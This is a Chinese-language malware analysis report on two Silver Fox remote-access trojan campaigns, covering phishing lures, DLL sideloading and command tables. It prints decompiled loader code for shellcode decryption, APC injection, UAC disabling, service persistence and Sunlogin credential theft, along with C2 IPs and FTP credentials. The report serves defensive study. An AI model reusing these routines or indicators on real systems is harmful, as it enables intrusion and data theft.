银狐木马近期攻击案例分析

概述

银狐木马作为数年前在国内开始流行的一类远控木马,时至今日活跃度只增不减。近期瑞星威胁情报平台在日常运营中捕获到多起攻击案例,现对相关案例分类进行详细分析

案例一

  本案例初始攻击向量为钓鱼邮件,邮件中收件人的邮箱地址和渤海银行有关,疑似针对渤海银行。攻击者以发票生成通知为诱饵,诱导用户点击含恶意链接的邮件,获取带恶意程序的压缩包。利用白加黑手段,通过正常文件执行恶意DLL实施提权、反调试、下载并执行银狐木马等操作。

样本分析

攻击流程

image

钓鱼邮件1基本信息

字段 内容
MD5 D5D9053B8097542E4F594D8B129C7C86
文件类型 EML
文件大小 10.2 KB (10,541 字节)
备注 带恶意链接的钓鱼邮件,恶意链接为:hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai

image

钓鱼邮件2基本信息

字段 内容
MD5 D3FC2B2CF324102C2800E7CDAF1B10BA
文件类型 EML
文件大小 10.2 KB (10,461 字节)
备注 带恶意链接的钓鱼邮件,恶意链接为:hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff

image

  钓鱼邮件1的发件人为jpbrsl@khbjmu.xyz,收件人为jhfhzhglb@cbhb.com.cn。钓鱼邮件2的发件人为dfpdvp@khbjmu.xyz,收件人为wei.ge@cbhb.com.cn。两封钓鱼邮件中的发件人的邮箱地址中域名都为khbjmu.xyz,这并非大众熟知的正规域名,正规企业或机构一般会使用更具辨识度、品牌相关的域名。收件人的邮箱域名均为cbhb.com.cn,这个是渤海银行的域名,猜测此次钓鱼邮件针对渤海银行。邮件内容都是通知用户发票生成,诱使用户点击下载发票,从而执行恶意程序。

  钓鱼邮件1内含有的恶意链接为hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai,钓鱼邮件2内含的恶意链接hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff。两个链接看起来像是和百度有关,以此来降低用户的警觉性,实际上两个链接分别指向的域名是cuomicufvhehy.cnolnrrzvvpypuhutf.cn,而前面的baidu.com仅作为用户名在请求中被提交,和百度没有关系。当用户点击链接时,首先会显示一个验证输入页面,当用户输入验证码后,才会跳转到下载页面hxxps://xuyuyohlzgtmcvr.cn/,下载的文件名为票单.zip

image

票单.zip分析

字段 内容
文件名 票单.zip
MD5 0B70320AC2F5F6BE5FEE0B0B3C27D785
文件类型 ZIP
文件大小 4.23 MB (4,441,532 字节)

   票单.zip文件中两个文件,一个是正常文件dzfp.exe,该文件带有有效的数字签名Avira Operations GmbH & Co. KG,另一个是恶意文件scew.dll。这是常见的白加黑利用手法,通过正常文件dzfp.exe执行恶意scew.dll文件。

scew.dll分析

字段 内容
文件名 scew.dll
MD5 103A7C7B5033DB386C484F6846AECF28
文件类型 DLL
文件大小 13.5 KB (13,824 字节)
病毒名 Downloader.Agent!1.12E0B

  提升进程权限:

  • 提升进程权限SeDebugPrivilege,或者检测进程是否有管理员权限,如果提权失败并且进程不是管理员权限执行,则通过注册表提权并利用CreateProcessA执行程序:

image

  • 设置注册表,强制让加载黑dll的程序以管理员运行

image

  • 执行加载黑dll的程序:利用CreateProcessA执行命令:cmd.exe /c ""C:\Users\gg\Desktop\票单\dzfp.exe" /uac""

image

  通过时间差确定是否被调试,是调试的话则退出进程。

image

  检测系统是否存在D盘或者E盘,如果不存在则退出进程。

image

  发起网络请求,用户代理标识为wininet ftp

image

  访问 38.181.42.127,用户名sbfe,密码yeht142Ag,该登陆凭据会一直变化。

image

  成功连接上该FTP服务器后,发现里面有多个大小不一的文件,大致可以分为三类:shellcode(加密),银狐远控程序(加密),黑DLL(该DLL通过正常的网易相关程序NetEase.exe加载,作用是提权并内存执行银狐等远控木马)

类型 文件名
shellcode dl_8025、dl_8080、sl_8080、sl_8090
银狐木马 win.dat_8025
黑DLL libxml2.dll、libxml2.dll2

image

  此次攻击中,攻击者首先获取名为dl-8025shellcode数据

image

  解密该shellcode数据然后内存执行

image

dl-8025分析

字段 内容
文件名 dl-8025
MD5 0661DB9DB931410E49430472E6C1C6F9
文件大小 10.8 KB (11,072 字节)
备注 被加密的shellcode

  发起网络请求,用户代理标识为wininet ftp

image

  访问 38.181.42.127,用户名sbfe,密码yeht142Ag,该凭据会一直变化。

image

  获取名为win.dat_8025的文件数据

image

  win.dat_8025是个加密文件,经过解密后,发现其是银狐远控木马

image

  在加载银狐木马之前,检测360tray.exe等和杀软相关的进程

image

  利用CreateProcessW打开进程C:\Program Files (x86)\Internet Explorer\iexplore.exe

image

  利用进程注入的攻击手法,将银狐木马注入到进程iexplore.exe中执行

image

win.dat_8025分析

字段 内容
文件名 win.dat_8025
MD5 F435F7E2002439465A0C237FF540B882
文件大小 3.32 MB (3,489,792 字节)
备注 被加密的银狐木马

  为躲避杀软沙箱虚拟机以及调试分析等检测手段,会查询调试状态、大部分杀毒软件(如:360安全卫士、火绒安全软件、金山毒霸、联想电脑管家、Windows Defender等)、沙箱(360沙箱、Sandboxie等)、虚拟机(如:QEMUVirtualBoxVMware等)、分析工具(如OllyDbgWinDbgIDAProcess Monitor等)是否存在

image

  读取名为150资源的数据,解密后得到C2服务器的IP和端口192.238.129.9:8025,并将其作为互斥体创建

image

  与服务器建立连接

image

  获取远控指令,执行下发文件,窃取隐私数据等恶意操作

指令 内容
0x00 确保线程在多线程操作中不被中断
0x01 收集磁盘信息
0x26 键盘记录
0x2B 提权并执行系统管理组件的功能
0x30 执行远程终端组件的功能
0x31 授予执行本地关机、重启或注销操作的权限
0x32 删除特定文件
0x33 下载文件并执行
0x34 下载文件执行并删除特定文件
0x35 Windows 事件日志清理
0x39、0x3A 执行指定文件
0x3B 在注册表HKEY_LOCAL_MACHINE\SYSTEM\Setup中创建注册表项RemarkName
0x3D 在注册表HKEY_LOCAL_MACHINE\SYSTEM\Setup中创建注册表项GroupName
0x3E 弹出含指定消息的消息框
0x54 执行注册表管理组件功能
0x5A 访问指定服务器地址
0x5B 发送OK
0x5C 查询进程
0x5D 查询窗口
0x5E 发送文件数据
0x61 检测杀软,通过后后执行后台屏幕组件功能
0xCA 获取即时通讯工具(QQ、微信、钉钉,Telegram等)数据
0xCC 操作防火墙
0xD8、0xD9、0xDA、0xDB、0xDC、0xDD、0xDE 清除浏览器记录
0xDF 执行剪切板管理组件功能

image

案例二

  与此同时我们还发现了银狐的另一分支的攻击活动,该分支近期攻击也非常活跃,同时攻击手法也在一直更新变化,该攻击初始是在聊天软件上传播名为明细查询.zip的恶意压缩包(疑似为攻击者远控受害者设备完成相关操作),包内存在多个文件,通过修改白文件的配置文件劫持其运行黑DLL,之后运行最终载荷。

样本分析

攻击流程

image

明细查询.zip

字段 内容
文件名 明细查询.zip
MD5 b16131ad5ced53662a61b230452a2a93
文件类型 ZIP
文件大小 2.66 MB (2791292 bytes)

该压缩包内存在多个文件如下所示,其中明细查询.exe实际为具有微软签名的微软电脑管家组件,在此处被作为白加黑中的白文件利用

image

其主要通过修改白文件会读取的配置文件实现加载同目录下m$RECYCLE.BIN文件夹中的恶意DLL

image

恶意DLL所在文件夹

image

初始C#载荷:VistaFileDialog.exe

字段 内容
文件名 VistaFileDialog.exe
MD5 3fbb7853b70b4383d76c98e02d4bc941
文件类型 DLL
文件大小 103.50 KB (105984 bytes)
病毒名 Trojan.ShellCodeRunner!1.12E42

该恶意dll先判断是否为管理员权限,如果不是则向用户申请管理员权限,在获取管理员权限后才会运行到下一步,此处需要管理员权限也是为后续展开作铺垫

// Token: 0x0200001D RID: 29
    public class logsupp : AppDomainManager
    {
        // Token: 0x06000185 RID: 389 RVA: 0x0000617C File Offset: 0x0000437C
        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
        {
            try
            {
                if (this.alizeNew())
                {
                    InManager.logsup();
                }
                else
                {
                    this.uoda();
                }
            }
            catch
            {
            }
        }

        // Token: 0x06000186 RID: 390 RVA: 0x000061B4 File Offset: 0x000043B4
        private bool alizeNew()
        {
            bool result;
            try
            {
                result = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
            }
            catch
            {
                result = false;
            }
            return result;
        }

        // Token: 0x06000187 RID: 391 RVA: 0x000061F0 File Offset: 0x000043F0
        private void uoda()
        {
            try
            {
                char[] value = new char[]
                {
                    'r',
                    'u',
                    'n',
                    'a',
                    's'
                };
                Process.Start(new ProcessStartInfo
                {
                    FileName = Process.GetCurrentProcess().MainModule.FileName,
                    UseShellExecute = true,
                    Verb = new string(value)
                });
                Environment.Exit(0);
            }
            catch

在获取到管理员权限后读取白文件同目录下的html后缀文件,使用ABCrthrthjD作为密钥异或解密出后续载荷

public static class InManager
    {
        // Token: 0x060001DB RID: 475 RVA: 0x00006C18 File Offset: 0x00004E18
        public static void logsup()
        {
            try
            {
                string[] files = Directory.GetFiles(AppDomain.CurrentDomain.BaseDirectory, "*.html");
                if (files.Length != 0)
                {
                    string path = files[0];
                    if (File.Exists(path))
                    {
                        InManager.longss(InManager.Decryptondy(File.ReadAllBytes(path), 0));
                    }
                }
            }
            catch (Exception)
            {
            }
        }

        // Token: 0x060001DC RID: 476 RVA: 0x00006C74 File Offset: 0x00004E74
        private static byte[] Decryptondy(byte[] encryptedondy, byte key)
        {
            if (encryptedondy == null || encryptedondy.Length == 0)
            {
                return new byte[0];
            }
            byte[] array = new byte[encryptedondy.Length];
            string text = "ABCrthrthjD";
            for (int i = 0; i < encryptedondy.Length; i++)
            {
                byte b = (byte)text[i % text.Length];
                array[i] = (encryptedondy[i] ^ b);
            }
            return array;

将解密出的载荷写入内存并执行

        private static void longss(byte[] ondy)
        {
            try
            {
                if (ondy != null && ondy.Length != 0)
                {
                    IntPtr moduleHandle = InManager.GetModuleHandle(Encoding.ASCII.GetString(InManager.K32));
                    if (!(moduleHandle == IntPtr.Zero))
                    {
                        IntPtr procAddress = InManager.GetProcAddress(moduleHandle, Encoding.ASCII.GetString(InManager.VM));
                        if (!(procAddress == IntPtr.Zero))
                        {
                            IntPtr intPtr = ((InManager.AllocMemDelegate)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(InManager.AllocMemDelegate)))(IntPtr.Zero, (uint)ondy.Length, 4096U, 64U);
                            if (!(intPtr == IntPtr.Zero))
                            {
                                Marshal.Copy(ondy, 0, intPtr, ondy.Length);
                                ((InManager.longssDelegate)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(InManager.longssDelegate)))();
                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
        }

初始载荷解密后的sccr.html

字段 内容
文件名 sccr.html
MD5 6e3a5649599cff7ce8826bd46e3c1685
文件类型 exe
文件大小 817.50 KB (837120 bytes)
病毒名 Backdoor.SilverFox!1.12E40

经过解密该文件实际为exe文件,主要作用为先将自身注册为服务

int __fastcall main(int argc, const char **argv, const char **envp)
{
  SC_HANDLE v3; // rbx
  SC_HANDLE ServiceW; // rax
  SC_HANDLE v6; // rdi
  SERVICE_TABLE_ENTRYW ServiceStartTable; // [rsp+70h] [rbp-248h] BYREF
  __int64 v8; // [rsp+80h] [rbp-238h]
  __int64 v9; // [rsp+88h] [rbp-230h]
  WCHAR Filename[264]; // [rsp+90h] [rbp-228h] BYREF

  ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_140004A60;
  ServiceStartTable.lpServiceName = (LPWSTR)L"1111";
  v8 = 0LL;
  v9 = 0LL;
  if ( !StartServiceCtrlDispatcherW(&ServiceStartTable) && GetLastError() == 1063 )
  {
    v3 = OpenSCManagerW(0LL, 0LL, 2u);
    if ( !v3 )
      return 1;
    GetModuleFileNameW(0LL, Filename, 0x104u);
    ServiceW = CreateServiceW(v3, L"1111", L"1111", 0xF01FFu, 0x10u, 3u, 0, Filename, 0LL, 0LL, 0LL, 0LL, 0LL);
    v6 = ServiceW;
    if ( ServiceW )
    {
      StartServiceW(ServiceW, 0, 0LL);
      CloseServiceHandle(v6);
    }
    CloseServiceHandle(v3);
  }
  return 0;
}

之后在ProgramData目录下生成随机UUID格式名称的文件夹,在其中释放出自身携带的后续组件,利用方法也是通过修改白文件会读取的配置文件实现加载恶意文件

  GetEnvironmentVariableA("ProgramData", Buffer, 0x104u);
  v241 = 0LL;
  v242 = 0uLL;
  v0 = -1LL;
  v1 = -1LL;
  do
    ++v1;
  while ( Buffer[v1] );
  sub_140006FF0(&v241, Buffer, v1);
  v2 = sub_1400068D0(&v241, "\\", 1uLL);

image

该木马释放文件时会将携带的恶意dll拆分并命名为两个bat文件

  CreateDirectoryA(v9, 0LL);
  v10 = (const void **)sub_140001F60(&v230);
  v11 = v10;
  v189 = 0LL;
  v190 = 0uLL;
  v12 = 8LL;
  if ( (unsigned __int64)v10[2] < 8 )
    v12 = (size_t)v10[2];
  if ( (unsigned __int64)v10[3] > 0xF )
    v11 = *v10;
  sub_140006FF0(&v189, v11, v12);
  v13 = sub_1400068D0(&v189, ".dat", 4uLL);

在固定名称为MenuArg.ini的配置文件中通过调用cmd执行copy命令后接着使用start命令将其拼接并执行,如下

[配置信息]
执行文件=cmd.exe /c  copy /b C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\8d5c1617.dat + C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\5fcc04bf.dat  C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\b130153a.exe&start  C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\b130153a.exe

之后其会读取机器的卷序列号作为前4字节与BIOS的主板序列号作为后28字节,如果主板序列号为空则用0代替,最终组成一个32字节的密钥,使用该密钥对携带的另一恶意组件进行简单移位与异或加密,之后将其写入baga.png中,在上述两个bat拼接的exe中对该png解密执行

  GetVolumeInformationA(
    "C:\\",
    VolumeNameBuffer,
    0x105u,
    &VolumeSerialNumber,
    MaximumComponentLength,
    &FileSystemFlags,
    FileSystemNameBuffer,
    0x105u);
  memset(Data, 0, sizeof(Data));
  cbData[0] = 256;
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, phkResult) )
  {
    RegQueryValueExA(phkResult[0], "BaseBoardSerialNumber", 0LL, 0LL, Data, cbData);
    RegCloseKey(phkResult[0]);
  }
  LODWORD(v241) = VolumeSerialNumber;
  do
    ++v0;
  while ( Data[v0] );
  if ( !v0 )
  {
    v74 = 4LL;
LABEL_146:
    memset((char *)&v241 + v74, 0, 32 - v74);
    goto LABEL_147;
  }
  v73 = 28LL;
  if ( v0 < 0x1C )
    v73 = v0;
  memcpy((char *)&v241 + 4, Data, v73);
  v74 = v0 + 4;
  if ( v74 < 0x20 )
    goto LABEL_146;
LABEL_147:
  v75 = (_BYTE *)v72;
  v76 = -v72;
  do
  {
    *v75 = *((_BYTE *)&v241 + ((7 - (_BYTE)v72 + (_BYTE)v75) & 0x1F)) ^ __ROR1__(
                                                                          *v75 ^ *((_BYTE *)&v241
                                                                                 + (((_BYTE)v75 - (_BYTE)v72) & 0x1F)),
                                                                          4);
    ++v75;
  }
  while ( (unsigned __int64)&v75[-v72] < 0x6244E );

释放完成之后会注册名为WindowsAUpdate的服务运行释放组件中的白文件实现自启动

 *((_BYTE *)v175 + v173) = 0;
  v179 = (const CHAR *)sub_140005EB0(&v223);
  ServiceA = CreateServiceA(
               v169,
               "WindowsAUpdate",
               "Windows AUpdate",
               0xF01FFu,
               0x10u,
               2u,
               0,
               v179,
               0LL,
               0LL,
               0LL,
               0LL,
               0LL);
  if ( ServiceA )
    CloseServiceHandle(ServiceA);
  CloseServiceHandle(v169);

之后通过修改注册表关闭UAC提示,并且复制当前进程的令牌给其新创建的clip.exe进程,接着通过APC注入clip.exe运行其后续载荷

 int sub_1400046F0()
{
  HANDLE CurrentProcess; // rax
  void *v1; // rax
  void *v2; // rdi
  void (__stdcall *v3)(ULONG_PTR); // rbx
  HANDLE phNewToken; // [rsp+60h] [rbp-A0h] BYREF
  HANDLE TokenHandle; // [rsp+68h] [rbp-98h] BYREF
  LPVOID Environment; // [rsp+70h] [rbp-90h] BYREF
  HKEY hKey; // [rsp+78h] [rbp-88h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+80h] [rbp-80h] BYREF
  struct _STARTUPINFOW StartupInfo; // [rsp+A0h] [rbp-60h] BYREF
  BYTE Data[4]; // [rsp+110h] [rbp+10h] BYREF
  DWORD TokenInformation; // [rsp+114h] [rbp+14h] BYREF
  SIZE_T NumberOfBytesWritten; // [rsp+118h] [rbp+18h] BYREF
  WCHAR CommandLine[264]; // [rsp+120h] [rbp+20h] BYREF

  sub_1400025D0();
  *(_DWORD *)Data = 0;
  if ( !RegOpenKeyExW(
          HKEY_LOCAL_MACHINE,
          L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
          0,
          0x20006u,
          &hKey) )
  {
    RegSetValueExW(hKey, L"ConsentPromptBehaviorAdmin", 0, 4u, Data, 4u);
    RegCloseKey(hKey);
  }
  TokenInformation = WTSGetActiveConsoleSessionId();
  TokenHandle = 0LL;
  phNewToken = 0LL;
  CurrentProcess = GetCurrentProcess();
  LODWORD(v1) = OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle);
  if ( (_DWORD)v1 )
  {
    if ( !DuplicateTokenEx(TokenHandle, 0x2000000u, 0LL, SecurityIdentification, TokenPrimary, &phNewToken) )
    {
LABEL_5:
      LODWORD(v1) = CloseHandle(TokenHandle);
      return (int)v1;
    }
    SetTokenInformation(phNewToken, TokenSessionId, &TokenInformation, 4u);
    v1 = VirtualAlloc(0LL, 0x6244EuLL, 0x3000u, 0x40u);
    v2 = v1;
    if ( v1 )
    {
      memcpy(v1, &unk_140038D20, 0x6244EuLL);
      StartupInfo.cb = 104;
      memset(&StartupInfo.dwFillAttribute, 0, 48);
      StartupInfo.dwFlags = 1;
      StartupInfo.lpReserved = 0LL;
      StartupInfo.lpDesktop = L"winsta0\\default";
      StartupInfo.wShowWindow = 0;
      memset(&StartupInfo.lpTitle, 0, 32);
      memset(&ProcessInformation, 0, sizeof(ProcessInformation));
      memset(&CommandLine[29], 0, 0x1CEuLL);
      wcscpy(CommandLine, L"C:\\Windows\\System32\\clip.exe");
      Environment = 0LL;
      CreateEnvironmentBlock(&Environment, phNewToken, 1);
      if ( CreateProcessAsUserW(
             phNewToken,
             0LL,
             CommandLine,
             0LL,
             0LL,
             0,
             0x414u,
             Environment,
             0LL,
             &StartupInfo,
             &ProcessInformation) )
      {
        v3 = (void (__stdcall *)(ULONG_PTR))VirtualAllocEx(ProcessInformation.hProcess, 0LL, 0x6244EuLL, 0x3000u, 0x40u);
        if ( v3 && WriteProcessMemory(ProcessInformation.hProcess, v3, v2, 0x6244EuLL, &NumberOfBytesWritten) )
        {
          QueueUserAPC(v3, ProcessInformation.hThread, 0LL);
          ResumeThread(ProcessInformation.hThread);
        }
        if ( ProcessInformation.hProcess )
          CloseHandle(ProcessInformation.hProcess);
        if ( ProcessInformation.hThread )
          CloseHandle(ProcessInformation.hThread);
      }
      if ( Environment )
        DestroyEnvironmentBlock(Environment);
      if ( phNewToken )
        CloseHandle(phNewToken);
      if ( TokenHandle )
        CloseHandle(TokenHandle);
      LODWORD(v1) = VirtualFree(v2, 0LL, 0x8000u);
    }
    else
    {
      if ( phNewToken )
        LODWORD(v1) = CloseHandle(phNewToken);
      if ( TokenHandle )
        goto LABEL_5;
    }
  }
  return (int)v1;
}

在完成所有任务后清理临时服务1111,只留下名为WindowsAUpdate的伪装服务维持自启

  v1 = OpenSCManagerW(0LL, 0LL, 1u);
  v2 = v1;
  if ( v1 )
  {
    v3 = OpenServiceW(v1, L"1111", 0x10000u);
    v4 = v3;
    if ( v3 )
    {
      DeleteService(v3);
      CloseServiceHandle(v4);
    }
    CloseServiceHandle(v2);
  }
  SetEvent(hHandle);
  WaitForSingleObject(hHandle, 0xFFFFFFFF);
  ServiceStatus.dwCurrentState = 1;
  return SetServiceStatus(hServiceStatus, &ServiceStatus);

两个dat文件合并后的Loader

字段 内容
文件名 decd5caa.exe
MD5 ed5e0ac43bf4363662bd3288c7fbbe3b
文件类型 exe
文件大小 104 KB (107,008 bytes)
病毒名 Trojan.ShellCodeRunner/x64!1.12E3D

Loader运行后先复制当前进程的令牌

  TokenInformation = WTSGetActiveConsoleSessionId();
  TokenHandle = 0LL;
  hObject = 0LL;
  CurrentProcess = GetCurrentProcess();
  LODWORD(FirstFileW) = OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle);
  if ( !(_DWORD)FirstFileW )
    return (int)FirstFileW;
  if ( !DuplicateTokenEx(TokenHandle, 0x2000000u, 0LL, SecurityIdentification, TokenPrimary, &hObject) )
  {
    LODWORD(FirstFileW) = CloseHandle(TokenHandle);
    return (int)FirstFileW;
  }
  v2 = 4LL;
  SetTokenInformation(hObject, TokenSessionId, &TokenInformation, 4u);

接着从当前目录下搜索并读取png后缀的文件,依旧是读取机器的卷序列号作为前4字节与BIOS的主板序列号作为后28字节组成一个32字节的密钥,用来解密同目录下的png后缀文件。这种加解密方式使得在未获得母体的情况下更换系统环境将导致后续载荷无法顺利解密,通过此方法使后续组件实现一定的反调试反沙箱。

*(_QWORD *)v6 = 0x6E0070002E002ALL;
  *((_DWORD *)v6 + 2) = 103;
  FirstFileW = FindFirstFileW(FileName, &FindFileData);
  v8 = FirstFileW;
  if ( FirstFileW == (HANDLE)-1LL )
  {
    if ( hObject )
      LODWORD(FirstFileW) = CloseHandle(hObject);
    v9 = TokenHandle;
    if ( TokenHandle )
LABEL_37:
      LODWORD(FirstFileW) = CloseHandle(v9);
  }
  else
  {
    v10 = 0LL;
    do
    {
      v11 = Filename[v10];
      v50[v10++] = v11;
    }
    while ( v11 );
    v12 = &v49;
    do
    {
      v7 = v12[1] == 0;
      ++v12;
    }
    while ( !v7 );
    v13 = 0LL;
    do
    {
      v14 = FindFileData.cFileName[v13];
      v12[v13++] = v14;
    }
    while ( v14 );
    FindClose(v8);
    FirstFileW = CreateFileW(v50, 0x80000000, 0, 0LL, 3u, 0x80u, 0LL);
    v15 = FirstFileW;
    if ( FirstFileW == (HANDLE)-1LL )
    {
      if ( hObject )
        LODWORD(FirstFileW) = CloseHandle(hObject);
      v9 = TokenHandle;
      if ( TokenHandle )
        goto LABEL_37;
    }
    else
    {
      FileSize = GetFileSize(FirstFileW, 0LL);
      v17 = FileSize;
      if ( FileSize == -1 )
      {
        LODWORD(FirstFileW) = CloseHandle(v15);
        if ( hObject )
          LODWORD(FirstFileW) = CloseHandle(hObject);
        v9 = TokenHandle;
        if ( TokenHandle )
          goto LABEL_37;
      }
      else
      {
        v18 = VirtualAlloc(0LL, FileSize, 0x3000u, 0x40u);
        v19 = v18;
        v20 = v15;
        if ( v18 )
        {
          if ( ReadFile(v15, v18, v17, &NumberOfBytesRead, 0LL) )
          {
            CloseHandle(v15);
            memset(v41, 0, sizeof(v41));
            memset(VolumeNameBuffer, 0, 0x105uLL);
            memset(FileSystemNameBuffer, 0, 0x105uLL);
            VolumeSerialNumber = 0;
            MaximumComponentLength = 0;
            FileSystemFlags = 0;
            GetVolumeInformationA(
              "C:\\",
              VolumeNameBuffer,
              0x105u,
              &VolumeSerialNumber,
              &MaximumComponentLength,
              &FileSystemFlags,
              FileSystemNameBuffer,
              0x105u);
            memset(Data, 0, sizeof(Data));
            cbData = 256;
            if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, &phkResult) )
            {
              RegQueryValueExA(phkResult, "BaseBoardSerialNumber", 0LL, 0LL, Data, &cbData);
              RegCloseKey(phkResult);
            }
            v21 = -1LL;
            LODWORD(v41[0]) = VolumeSerialNumber;
            do
              ++v21;
            while ( Data[v21] );
            if ( !v21 )
              goto LABEL_46;
            v22 = 28LL;
            if ( v21 < 0x1C )
              v22 = v21;
            memcpy((char *)v41 + 4, Data, v22);
            v2 = v21 + 4;
            if ( v21 + 4 < 0x20 )
LABEL_46:
              memset((char *)v41 + v2, 0, 32 - v2);
            if ( (_DWORD)v17 )
            {
              v23 = v19;
              do
              {
                v24 = (_BYTE)v23 - (_BYTE)v19;
                v25 = *v23 ^ *((_BYTE *)v41 + ((7 - (_BYTE)v19 + (_BYTE)v23) & 0x1F));
                *v23++ = *((_BYTE *)v41 + (v24 & 0x1F)) ^ __ROR1__(v25, 4);
              }
              while ( v23 - v19 < v17 );
            }

解密出后续载荷后依旧通过APC注入执行其解密出的载荷,运行流程与上述sccr.html的释放与加载流程类似,只是一个是负责加密一个负责解密

            StartupInfo.dwFlags = 1;
            StartupInfo.lpReserved = 0LL;
            StartupInfo.lpDesktop = L"winsta0\\default";
            StartupInfo.wShowWindow = 0;
            memset(&StartupInfo.lpTitle, 0, 32);
            memset(&ProcessInformation, 0, sizeof(ProcessInformation));
            memset(&CommandLine[32], 0, 0x1C8uLL);
            wcscpy(CommandLine, (const wchar_t *)&xmmword_140016A10);
            Environment = 0LL;
            CreateEnvironmentBlock(&Environment, hObject, 1);
            if ( CreateProcessAsUserW(
                   hObject,
                   0LL,
                   CommandLine,
                   0LL,
                   0LL,
                   0,
                   0x414u,
                   Environment,
                   0LL,
                   &StartupInfo,
                   &ProcessInformation) )
            {
              v26 = (void (__stdcall *)(ULONG_PTR))VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x3000u, 0x40u);
              if ( v26 && WriteProcessMemory(ProcessInformation.hProcess, v26, v19, v17, (SIZE_T *)&phkResult) )
              {
                QueueUserAPC(v26, ProcessInformation.hThread, 0LL);
                ResumeThread(ProcessInformation.hThread);
              }
              if ( ProcessInformation.hProcess )
                CloseHandle(ProcessInformation.hProcess);
              if ( ProcessInformation.hThread )
                CloseHandle(ProcessInformation.hThread);
            }
            if ( Environment )
              DestroyEnvironmentBlock(Environment);
            if ( hObject )
              CloseHandle(hObject);
            if ( TokenHandle )
              CloseHandle(TokenHandle);
            LODWORD(FirstFileW) = VirtualFree(v19, 0LL, 0x8000u);
            return (int)FirstFileW;
          }
          VirtualFree(v19, 0LL, 0x8000u);
          v20 = v15;
        }

最终执行载荷:解密后的baga.png

字段 内容
文件名 baga.png
MD5 c598696cd40597af817461b43d3e8b3e
文件类型 exe
文件大小 393.08 KB (402512 bytes)
病毒名 Backdoor.SilverFox!1.12E40

该载荷运行后会根据硬编码的IP与自身权限级别生成一个互斥体,防止多开

  TokenHandle = 0LL;
  CurrentProcess = GetCurrentProcess();
  if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
  {
    ReturnLength = 0;
    if ( GetTokenInformation(TokenHandle, TokenElevationType, &TokenInformation, 4u, &ReturnLength) )
    {
      v6 = "Unknown";
      switch ( TokenInformation )
      {
        case 1:
          v6 = "User";
          break;
        case 2:
          v6 = "Administrator";
          break;
        case 3:
          v6 = "Limited";
          break;
      }
      memset(v19, 0, sizeof(v19));
      sub_140001140(v19, v6, strlen(v6));
      memset(Name, 0, sizeof(Name));
      sprintf_s(Name, 0x100uLL, "Global\\%s_%s", a15010948238, v19);
      MutexA = CreateMutexA(0LL, 0, Name);

之后创建线程执行回连获取后续指令

        {
          memset(Parameter, 0, 260);
          if ( !(unsigned int)sub_140003440(Parameter) )
            memmove(Parameter, &unk_140036D40, 0x104uLL);
          do
          {
            byte_1400382E5 = 0;
            byte_1400382E4 = 0;
            Thread = CreateThread(0LL, 0LL, (LPTHREAD_START_ROUTINE)StartAddress, Parameter, 0, 0LL);
            WaitForSingleObject(Thread, 0xFFFFFFFF);

在线程中回连IP150.109.48.238

image

其也具备多种功能如加载下发的插件

  GetTempPathA(0x104u, Buffer);
  strcpy(Format, "Plugin32.exe");
  TickCount = GetTickCount();
  sprintf(String2, Format, TickCount);
  lstrcatA(Buffer, String2);
  FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0LL, 2u, 0x80u, 0LL);
  if ( FileA != (HANDLE)-1LL )
  {
    WriteFile(FileA, &a2[strlen(a2) + 1], a3 - (strlen(a2) + 1), &NumberOfBytesWritten, 0LL);
    CloseHandle(FileA);
    sprintf(Parameters, "-connect %s:1111", (const char *)(a1 + 36));
    strcpy(Operation, "open");
    ShellExecuteA(0LL, Operation, Buffer, Parameters, 0LL, 0);
  }
  return 0LL;

查找进程中是否存在向日葵客户端,不存在则静默部署

        while ( !(unsigned int)sub_1400024F0("xrk.exe") )
        {
          *(_OWORD *)FileName = *(_OWORD *)a2;
          v54 = *(_OWORD *)(a2 + 16);
          v55 = *(_OWORD *)(a2 + 32);
          v56 = *(_OWORD *)(a2 + 48);
          v57 = *(_OWORD *)(a2 + 64);
          v58 = *(_OWORD *)(a2 + 80);
          v59 = *(_DWORD *)(a2 + 96);
          v60 = *(_BYTE *)(a2 + 100);
          FileA = CreateFileA(&FileName[1], 0x40000000u, 1u, 0LL, 2u, 0, 0LL);
          v19 = FileA;
          if ( FileA == (HANDLE)-1LL || !WriteFile(FileA, (LPCVOID)(a2 + 101), a3 - 101, &NumberOfBytesWritten, 0LL) )
            return;
          CloseHandle(v19);
          ShellExecuteA(0LL, "open", &FileName[1], 0LL, 0LL, 0);
          do
            WindowA = FindWindowA("#32770", &WindowName);
          while ( !WindowA );
          ShowWindow(WindowA, 0);
          Sleep(0xFA0u);
        }

之后读取向日葵客户端配置文件中的用户名和密码并回传

      GetPrivateProfileStringA("base", "fastcode", &::Src, ReturnedString, 0x104u, v21);
      v22 = (const CHAR *)lpFileName;
      if ( v30 >= 0x10 )
        v22 = lpFileName[0];
      GetPrivateProfileStringA("base", "password", &::Src, String2, 0x104u, v22);
      v23 = LocalAlloc(0x40u, 0xC9uLL);
      *v23 = -39;
      lstrcpyA(String1, ReturnedString);
      lstrcpyA(v62, String2);
      memmove(v23 + 1, String1, 0xC8uLL);

